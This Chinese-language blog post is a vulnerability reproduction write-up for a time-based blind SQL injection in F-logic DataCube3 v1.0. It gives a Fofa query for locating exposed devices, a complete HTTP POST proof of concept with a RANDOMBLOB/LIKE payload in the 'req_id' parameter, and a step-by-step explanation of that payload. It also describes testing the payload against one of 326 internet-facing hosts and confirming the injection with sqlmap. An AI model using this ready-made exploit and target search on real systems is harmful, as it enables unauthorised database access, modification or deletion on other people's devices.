漏洞描述
该漏洞是一个影响F-logic DataCube3 v1.0的SQL注入漏洞,这个漏洞源于'req_id'参数的用户输入没有得到适当的清理或过滤。通过在'req_id'参数中注入恶意的SQL代码,远程攻击者可以执行任意SQL命令,从而可能访问、修改或删除数据库中的敏感信息
Fofa:
title=="DataCube3"
POC:
POST /admin/pr_monitor/getting_index_data.php HTTP/1.1
Host:
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,/;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Content-Type: application/x-www-form-urlencoded
req_id=1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
1) AND 1113=LIKE(CHAR(65,66,67,68,69,70,71),UPPER(HEX(RANDOMBLOB(500000000/2)))) AND (1450=1450
使用利用SQL语句的'LIKE'和'CHAR’函数来执行一个条件语句,同时验证注入点的存在性
CHAR(65,66,67,68,69,70,71)会返回一个字符串'ABCDEFG'
RANDOMBLOB(500000000/2)生成一个大型随机二进制对象(BLOB),大小为250000000字节
HEX()函数将BLOB转换为十六进制表示
UPPER()函数将生成的十六进制字符串转换成大写
LIKE函数用于比较'ABCDEFG'是否与这个大型随机生成的十六进制字符串匹配
以上部分的目的是执行一个很可能为假的条件,这样SQL语句这部分不会返回任何结果
AND (1450=1450 这是一个总为真的语句,用于保证如果前面的测试条件不成立,整个SQL语句依然可以执行而不会因为前面的条件判断失败而整体失败
漏洞复现
在fofa中搜索资产,共有326条数据匹配
对其中某个IP进行测试
在burp上抓包构造数据包
经过测试,不管输入任何闭合字符串都会返回同样的内容
利用POC中的Payload进行注入,处理的时间过长,根据Payload的内容,猜测数据库在处理非常大的随机数据和复杂的HEX转换
通过sqlmap进行验证,该处存在时间盲注
标签:CHAR,zh,DataCube3,logic,2024,漏洞,1450,SQL From: https://www.cnblogs.com/LeouMaster/p/18200108